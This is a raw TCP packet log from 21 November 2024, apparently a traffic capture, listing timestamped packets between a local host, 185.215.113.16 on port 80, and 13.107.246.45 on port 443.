Nov 21, 2024 07:10:11.863019943 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.863042116 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.863091946 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.863816023 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.863866091 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.863929033 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.863974094 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.865056038 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.865103960 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.865195990 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.865242958 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.865609884 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.865658998 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.865717888 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.865761995 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.866475105 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.866523981 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.866584063 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.866631985 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.867357016 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.867405891 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.867463112 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.867508888 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.868256092 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.868304968 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.868381023 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.868470907 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.869116068 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.869165897 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.869204998 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.869254112 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.869993925 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.870043039 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.870117903 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.870162964 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.870870113 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.870919943 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.871021032 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.871067047 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.871758938 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.871809006 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.871882915 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.871928930 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.872574091 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.872622967 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.017724037 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.017781019 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.017780066 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.017822027 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.018134117 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.018187046 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.018235922 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.019041061 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.019083023 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.019090891 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.019107103 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.019156933 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.019903898 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.019951105 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.020013094 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.020054102 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.020793915 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.020842075 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.020844936 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.020895004 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.021759033 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.021806955 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.021811008 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.021857023 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.022541046 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.022588968 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.022643089 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.022736073 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.023441076 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.023492098 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.023555994 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.023602009 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.024319887 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.024368048 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.024421930 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.024467945 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.025202036 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.025249958 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.025326967 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.025377035 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.026128054 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.026180983 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.026242018 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.026288986 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.027003050 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.027049065 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.027138948 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.027184963 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.027903080 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.027954102 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.028033018 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.028079987 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.028781891 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.028835058 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.028959036 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.029007912 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.029650927 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.029710054 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.029742002 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.029786110 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.030528069 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.030576944 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.030653954 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.030698061 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.031434059 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.031497002 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.031544924 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.031586885 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.032294989 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.032340050 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.032402992 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.032447100 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.033195972 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.033241987 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.033305883 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.033349037 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.034116030 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.034167051 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.034307957 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.034368038 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.034955978 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.035006046 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.035166025 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.035212040 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.035860062 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.035911083 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.035970926 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.036032915 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.036765099 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.036814928 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.036906958 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.036953926 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.037631989 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.037719011 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.037760019 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.037805080 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.038515091 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.038564920 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.038638115 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.038688898 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.039393902 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.039443016 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.039503098 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.039547920 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.040262938 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.040313959 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.040347099 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.040395975 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.041157961 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.041202068 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.041263103 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.041307926 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.042035103 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.042083979 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.042140961 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.042185068 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.042911053 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.042959929 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.043137074 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.043185949 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.043802977 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.043859005 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.043916941 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.043961048 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.044758081 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.044806004 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.044822931 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.044867992 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.045614958 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.045660019 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.045664072 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.045708895 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.046461105 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.046502113 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.046631098 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.046677113 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.047373056 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.047420979 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.047470093 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.047514915 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.047758102 CET	443	49769	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.047822952 CET	443	49769	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.047859907 CET	49769	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.048033953 CET	49769	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.048046112 CET	443	49769	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.048055887 CET	49769	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.048060894 CET	443	49769	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.048238993 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.048285961 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.048347950 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.048398018 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.049118042 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.049176931 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.049248934 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.049293995 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.050121069 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.050183058 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.050220013 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.050262928 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.051058054 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.051119089 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.051142931 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.051213026 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.051229954 CET	49770	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.051253080 CET	443	49770	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.051309109 CET	49770	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.051439047 CET	49770	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.051451921 CET	443	49770	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.052006006 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.052056074 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.052067995 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.052103996 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.052663088 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.052710056 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.052768946 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.052813053 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.053551912 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.053599119 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.053672075 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.053718090 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.054462910 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.054511070 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.054622889 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.054718018 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.055331945 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.055382013 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.055438995 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.055485010 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.056227922 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.056274891 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.056350946 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.056396008 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.057101011 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.057148933 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.057209015 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.057250977 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.058125973 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.058161974 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.058173895 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.058197975 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.058916092 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.058960915 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.058980942 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.059032917 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.059787035 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.059834957 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.059838057 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.059879065 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.060714960 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.060761929 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.060796976 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.060841084 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.061520100 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.061568022 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.061724901 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.061769962 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.062405109 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.062452078 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.062510014 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.062552929 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.063333988 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.063386917 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.063431025 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.063477039 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.064136028 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.064182043 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.064697981 CET	443	49767	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.064924955 CET	443	49767	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.064984083 CET	49767	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.065013885 CET	49767	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.065030098 CET	443	49767	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.065042973 CET	49767	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.065048933 CET	443	49767	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.067433119 CET	49771	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.067467928 CET	443	49771	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.067547083 CET	49771	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.067677975 CET	49771	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.067691088 CET	443	49771	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.074266911 CET	443	49768	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.074431896 CET	443	49768	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.074486017 CET	49768	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.074507952 CET	49768	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.074517012 CET	443	49768	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.074525118 CET	49768	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.074527979 CET	443	49768	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.078445911 CET	49772	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.078521967 CET	443	49772	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.078598022 CET	49772	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.078705072 CET	49772	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.078739882 CET	443	49772	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.081180096 CET	443	49766	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.081343889 CET	443	49766	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.081414938 CET	49766	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.081492901 CET	49766	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.081492901 CET	49766	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.081535101 CET	443	49766	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.081564903 CET	443	49766	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.083651066 CET	49773	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.083750010 CET	443	49773	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.083841085 CET	49773	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.083969116 CET	49773	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.083997965 CET	443	49773	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.209516048 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.209620953 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.209654093 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.209700108 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.210006952 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.210052967 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.210072041 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.210108995 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.210632086 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.210684061 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.210738897 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.210787058 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.211523056 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.211570978 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.211685896 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.211730003 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.212443113 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.212493896 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.212585926 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.212622881 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.213289976 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.213342905 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.213397026 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.213453054 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.214194059 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.214243889 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.214303970 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.214351892 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.215053082 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.215109110 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.215164900 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.215208054 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.215964079 CET	80	49765	185.215.113.16	192.168.2.4
